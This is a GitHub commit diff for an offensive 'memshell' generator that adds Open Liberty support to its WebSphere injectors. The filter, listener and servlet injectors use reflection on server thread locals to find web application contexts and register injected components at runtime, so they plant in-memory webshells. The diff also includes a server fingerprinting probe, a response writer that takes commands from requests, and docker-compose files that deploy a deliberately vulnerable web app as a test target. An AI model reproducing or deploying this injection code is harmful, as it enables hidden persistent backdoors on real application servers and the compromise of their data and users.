Skip to content

Commit 73c7127

Browse files
committed
feat: support open-liberty javaee
1 parent 6388e79 commit 73c7127

23 files changed

+4941
-54
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterInjector.java

Lines changed: 58 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,5 @@
11
package com.reajason.javaweb.memshell.injector.websphere;
22

3-
import javax.servlet.Filter;
43
import java.io.ByteArrayInputStream;
54
import java.io.ByteArrayOutputStream;
65
import java.io.IOException;
@@ -14,9 +13,6 @@
1413

1514

1615
/**
17-
* tested v7、v8
18-
* update 2023/07/08
19-
*
2016
* @author ReaJason
2117
*/
2218
public class WebSphereFilterInjector {
@@ -46,7 +42,7 @@ public WebSphereFilterInjector() {
4642
} catch (Throwable throwable) {
4743
msg += "context error: " + getErrorMessage(throwable);
4844
}
49-
if (contexts == null) {
45+
if (contexts == null || contexts.isEmpty()) {
5046
msg += "context not found";
5147
} else {
5248
for (Object context : contexts) {
@@ -87,20 +83,42 @@ private String getContextRoot(Object context) {
8783
*/
8884
public Set<Object> getContext() throws Exception {
8985
Set<Object> contexts = new HashSet<Object>();
90-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
91-
for (Object wsThreadLocal : wsThreadLocals) {
86+
Object[] threadLocals = null;
87+
boolean raw = false;
88+
try {
89+
// WebSphere Liberty
90+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
91+
} catch (NoSuchFieldException ignored) {
92+
}
93+
if (threadLocals == null) {
94+
// Open Liberty
95+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
96+
raw = true;
97+
}
98+
for (Object threadLocal : threadLocals) {
99+
if (threadLocal == null) {
100+
continue;
101+
}
102+
Object value = threadLocal;
103+
if (raw) {
104+
value = getFieldValue(threadLocal, "value");
105+
}
106+
if (value == null) {
107+
continue;
108+
}
92109
// for websphere 7.x
93-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
94-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
110+
if (value.getClass().getName().endsWith("FastStack")) {
111+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
95112
for (Object stack : stackList) {
96113
try {
97114
Object config = getFieldValue(stack, "config");
98115
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
99116
} catch (Exception ignored) {
100117
}
101118
}
102-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
103-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
119+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
120+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
121+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
104122
}
105123
}
106124
return contexts;
@@ -137,45 +155,55 @@ public void inject(Object context, Object filter) throws Exception {
137155
return;
138156
}
139157

140-
ClassLoader classLoader = context.getClass().getClassLoader();
141-
Class<?> filterMappingClass = classLoader.loadClass("com.ibm.ws.webcontainer.filter.FilterMapping");
142-
Class<?> iFilterConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.filter.IFilterConfig");
143-
Class<?> iServletConfigClass = classLoader.loadClass("com.ibm.wsspi.webcontainer.servlet.IServletConfig");
158+
Class<?> filterMappingClass = loadClass(context.getClass(), "com.ibm.ws.webcontainer.filter.FilterMapping");
159+
Class<?> iFilterConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.filter.IFilterConfig");
160+
Class<?> iServletConfigClass = loadClass(context.getClass(), "com.ibm.wsspi.webcontainer.servlet.IServletConfig");
144161

145162
Object filterManager = getFieldValue(context, "filterManager");
163+
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
164+
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
146165
try {
147-
// v8
166+
// v8+
167+
invokeMethod(getFieldValue(context, "config"), "addFilterInfo", new Class[]{iFilterConfigClass}, new Object[]{filterConfig});
168+
148169
Constructor<?> constructor = filterMappingClass.getConstructor(String.class, iFilterConfigClass, iServletConfigClass);
149-
// com.ibm.ws.webcontainer.webapp.WebApp.commonAddFilter
150-
setFieldValue(context, "initialized", false);
151-
Object filterConfig = invokeMethod(context, "commonAddFilter", new Class[]{String.class, String.class, Filter.class, Class.class}, new Object[]{getClassName(), getClassName(), filter, filter.getClass()});
152170
Object filterMapping = constructor.newInstance(getUrlPattern(), filterConfig, null);
153-
setFieldValue(context, "initialized", true);
154-
155-
// com.ibm.ws.webcontainer.filter.WebAppFilterManager.addFilterMapping
156171
invokeMethod(filterManager, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
157-
158-
// com.ibm.ws.webcontainer.filter.WebAppFilterManager#_loadFilter
159172
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
160-
161173
} catch (Exception e) {
174+
e.printStackTrace();
162175
// v7
163-
Object filterConfig = invokeMethod(context, "createFilterConfig", new Class[]{String.class}, new Object[]{getClassName()});
164-
invokeMethod(filterConfig, "setFilterClassName", new Class[]{String.class}, new Object[]{filter.getClass().getName()});
165-
setFieldValue(filterConfig, "dispatchMode", new int[]{0});
166-
setFieldValue(filterConfig, "name", getClassName());
167176
invokeMethod(context, "addMappingFilter", new Class[]{String.class, iFilterConfigClass}, new Object[]{getUrlPattern(), filterConfig});
168177
invokeMethod(filterManager, "_loadFilter", new Class[]{String.class}, new Object[]{getClassName()});
169178
}
179+
170180
// 清除缓存
171-
invokeMethod(getFieldValue(filterManager, "chainCache"), "clear", null, null);
181+
Object chainCache = getFieldValue(filterManager, "chainCache");
182+
try {
183+
invokeMethod(chainCache, "clear", null, null);
184+
} catch (Exception e) {
185+
invokeMethod(getFieldValue(chainCache, "chainCacheMap"), "clear", null, null);
186+
}
172187
}
173188

174189
@Override
175190
public String toString() {
176191
return msg;
177192
}
178193

194+
// bypass osgi
195+
public static Class<?> loadClass(Class<?> context, String className) throws ClassNotFoundException {
196+
if (context.equals(Object.class)) {
197+
throw new ClassNotFoundException(className);
198+
}
199+
ClassLoader loader = context.getClassLoader();
200+
try {
201+
return loader.loadClass(className);
202+
} catch (ClassNotFoundException e) {
203+
return loadClass(context.getSuperclass(), className);
204+
}
205+
}
206+
179207
@SuppressWarnings("all")
180208
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
181209
Exception {

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereListenerInjector.java

Lines changed: 29 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -38,7 +38,7 @@ public WebSphereListenerInjector() {
3838
} catch (Throwable throwable) {
3939
msg += "context error: " + getErrorMessage(throwable);
4040
}
41-
if (contexts == null) {
41+
if (contexts == null || contexts.isEmpty()) {
4242
msg += "context not found";
4343
} else {
4444
for (Object context : contexts) {
@@ -75,20 +75,42 @@ private String getContextRoot(Object context) {
7575

7676
public Set<Object> getContext() throws Exception {
7777
Set<Object> contexts = new HashSet<Object>();
78-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
79-
for (Object wsThreadLocal : wsThreadLocals) {
78+
Object[] threadLocals = null;
79+
boolean raw = false;
80+
try {
81+
// WebSphere Liberty
82+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
83+
} catch (NoSuchFieldException ignored) {
84+
}
85+
if (threadLocals == null) {
86+
// Open Liberty
87+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
88+
raw = true;
89+
}
90+
for (Object threadLocal : threadLocals) {
91+
if (threadLocal == null) {
92+
continue;
93+
}
94+
Object value = threadLocal;
95+
if (raw) {
96+
value = getFieldValue(threadLocal, "value");
97+
}
98+
if (value == null) {
99+
continue;
100+
}
80101
// for websphere 7.x
81-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
82-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
102+
if (value.getClass().getName().endsWith("FastStack")) {
103+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
83104
for (Object stack : stackList) {
84105
try {
85106
Object config = getFieldValue(stack, "config");
86107
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
87108
} catch (Exception ignored) {
88109
}
89110
}
90-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
91-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
111+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
112+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
113+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
92114
}
93115
}
94116
return contexts;

generator/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

Lines changed: 32 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,9 @@
66
import java.io.PrintStream;
77
import java.lang.reflect.Field;
88
import java.lang.reflect.Method;
9-
import java.util.*;
9+
import java.util.HashSet;
10+
import java.util.Properties;
11+
import java.util.Set;
1012
import java.util.zip.GZIPInputStream;
1113

1214
/**
@@ -39,7 +41,7 @@ public WebSphereServletInjector() {
3941
} catch (Throwable throwable) {
4042
msg += "context error: " + getErrorMessage(throwable);
4143
}
42-
if (contexts == null) {
44+
if (contexts == null || contexts.isEmpty()) {
4345
msg += "context not found";
4446
} else {
4547
for (Object context : contexts) {
@@ -76,20 +78,42 @@ private String getContextRoot(Object context) {
7678

7779
public Set<Object> getContext() throws Exception {
7880
Set<Object> contexts = new HashSet<Object>();
79-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
80-
for (Object wsThreadLocal : wsThreadLocals) {
81+
Object[] threadLocals = null;
82+
boolean raw = false;
83+
try {
84+
// WebSphere Liberty
85+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
86+
} catch (NoSuchFieldException ignored) {
87+
}
88+
if (threadLocals == null) {
89+
// Open Liberty
90+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
91+
raw = true;
92+
}
93+
for (Object threadLocal : threadLocals) {
94+
if (threadLocal == null) {
95+
continue;
96+
}
97+
Object value = threadLocal;
98+
if (raw) {
99+
value = getFieldValue(threadLocal, "value");
100+
}
101+
if (value == null) {
102+
continue;
103+
}
81104
// for websphere 7.x
82-
if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("FastStack")) {
83-
Object[] stackList = (Object[]) getFieldValue(wsThreadLocal, "stack");
105+
if (value.getClass().getName().endsWith("FastStack")) {
106+
Object[] stackList = (Object[]) getFieldValue(value, "stack");
84107
for (Object stack : stackList) {
85108
try {
86109
Object config = getFieldValue(stack, "config");
87110
contexts.add(getFieldValue(getFieldValue(config, "context"), "context"));
88111
} catch (Exception ignored) {
89112
}
90113
}
91-
} else if (wsThreadLocal != null && wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {;
92-
contexts.add(getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest"), "_dispatchContext"), "_webapp"), "facade"), "context"));
114+
} else if (value.getClass().getName().endsWith("WebContainerRequestState")) {
115+
Object webApp = invokeMethod(getFieldValue(getFieldValue(value, "currentThreadsIExtendedRequest"), "_dispatchContext"), "getWebApp", null, null);
116+
contexts.add(getFieldValue(getFieldValue(webApp, "facade"), "context"));
93117
}
94118
}
95119
return contexts;

generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -50,7 +50,8 @@ public static String exit(@Advice.Return(readOnly = false) String ret) {
5050
if (System.getProperty("weblogic.home") != null) {
5151
return ret = "WebLogic";
5252
}
53-
if (System.getProperty("was.install.root") != null) {
53+
if (System.getProperty("was.install.root") != null
54+
|| System.getProperty("wlp.install.dir") != null) {
5455
return ret = "WebSphere";
5556
}
5657
if (System.getProperty("resin.home") != null) {

generator/src/main/java/com/reajason/javaweb/probe/payload/response/WebSphereWriter.java

Lines changed: 24 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -22,17 +22,35 @@ public WebSphereWriter() {
2222
return;
2323
}
2424
try {
25-
Object[] wsThreadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
26-
for (Object wsThreadLocal : wsThreadLocals) {
27-
if (wsThreadLocal == null) {
25+
Object[] threadLocals = null;
26+
boolean raw = false;
27+
try {
28+
// WebSphere Liberty
29+
threadLocals = (Object[]) getFieldValue(Thread.currentThread(), "wsThreadLocals");
30+
} catch (NoSuchFieldException ignored) {
31+
}
32+
if (threadLocals == null) {
33+
// Open Liberty
34+
threadLocals = (Object[]) getFieldValue(getFieldValue(Thread.currentThread(), "threadLocals"), "table");
35+
raw = true;
36+
}
37+
for (Object threadLocal : threadLocals) {
38+
if (threadLocal == null) {
39+
continue;
40+
}
41+
Object value = threadLocal;
42+
if (raw) {
43+
value = getFieldValue(threadLocal, "value");
44+
}
45+
if (value == null) {
2846
continue;
2947
}
3048
// com.ibm.wsspi.webcontainer.WebContainerRequestState
31-
if (wsThreadLocal.getClass().getName().endsWith("WebContainerRequestState")) {
49+
if (value.getClass().getName().endsWith("WebContainerRequestState")) {
3250
// com.ibm.ws.webcontainer.srt.SRTServletRequest
33-
Object request = getFieldValue(wsThreadLocal, "currentThreadsIExtendedRequest");
51+
Object request = getFieldValue(value, "currentThreadsIExtendedRequest");
3452
// com.ibm.ws.webcontainer.srt.SRTServletResponse
35-
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
53+
Object response = getFieldValue(value, "currentThreadsIExtendedResponse");
3654
String data = getDataFromReq(request);
3755
if (data != null && !data.isEmpty()) {
3856
String result = "";
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-18:
3+
image: open-liberty:18.0.0.4-webProfile8
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-20:
3+
image: open-liberty:20.0.0.12-full-java8-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-22:
3+
image: open-liberty:22.0.0.12-full-java11-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp-jakarta.war:/config/dropins/app.war
Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
services:
2+
open-liberty-25:
3+
image: open-liberty:25.0.0.12-full-java17-openj9
4+
platform: linux/amd64
5+
ports:
6+
- "9080:9080"
7+
- "5005:5005"
8+
environment:
9+
JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
10+
volumes:
11+
- ../../../vul/vul-webapp/build/libs/vul-webapp.war:/config/dropins/app.war
Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,2 +1,2 @@
11
#!/bin/bash
2-
pgrep -f WSLauncher | tr -d '\n'
2+
pgrep -f 'WSLauncher|ws-server.jar' | tr -d '\n'

0 commit comments

Comments
 (0)